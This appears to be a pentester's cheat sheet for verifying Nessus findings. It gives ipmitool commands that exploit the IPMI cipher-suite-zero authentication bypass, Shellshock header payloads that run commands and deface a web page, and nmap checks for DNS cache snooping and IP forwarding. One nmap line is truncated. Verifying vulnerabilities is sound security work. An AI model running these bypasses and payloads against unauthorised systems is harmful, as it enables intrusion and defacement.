VulnVerify

Verify Various Vulnerabilities

[+] IPMI Cipher Suite Zero Authentication Bypass:
http://www.tenable.com/plugins/index.php?view=single&id=68931

Tools required:
ipmitool
freeipmi-tools

```
ipmitool -I lanplus -H 192.168.0.1 -U Administrator -P notapassword user list
```

```
# Specifying Cipher Suite Zero
ipmitool -I lanplus -C 0 -H 192.168.0.1 -U Administrator -P notapassword user list
ipmitool -I lanplus -C 0 -H 192.168.0.1 -U Administrator -P notapassword chassis status
ipmitool -I lanplus -C 0 -H 192.168.0.1 -U Administrator -P notapassword help
ipmitool -I lanplus -C 0 -H 192.168.0.1 -U Administrator -P notapassword shell
ipmitool -I lanplus -C 0 -H 192.168.0.1 -U Administrator -P notapassword sensor
```

[+] Bash Remote Code Execution (Shellshock)
http://www.tenable.com/plugins/index.php?view=single&id=77823

```
x: () { :;}; /sbin/ifconfig > /tmp/ifconfig.txt
x: () { :;}; echo "Hacked" > /var/www/hacked.html
```

[+] DNS Server Cache Snooping Remote Information Disclosure
http://www.tenable.com/plugins/index.php?view=single&id=12217

Nmap Script: dns-cache-snoop
http://nmap.org/nsedoc/scripts/dns-cache-snoop.html

```
nmap -sU -p 53 --script dns-cache-snoop.nse --script-args 'dns-cache-snoop.mode=timed,dns-cache-snoop.domains={host1,ho
```

[+] IP Forwarding Enabled
http://www.tenable.com/plugins/index.php?view=single&id=50686

Nmap Script: ip-forwarding
http://nmap.org/nsedoc/scripts/ip-forwarding.html

```
sudo nmap -sn <target> --script ip-forwarding --script-args='target=www.example.com'
```

Alternatives:
- Set VM's default gateway as the victim IP address and attempt to route elsewhere.
- http://pentestmonkey.net/tools/gateway-finder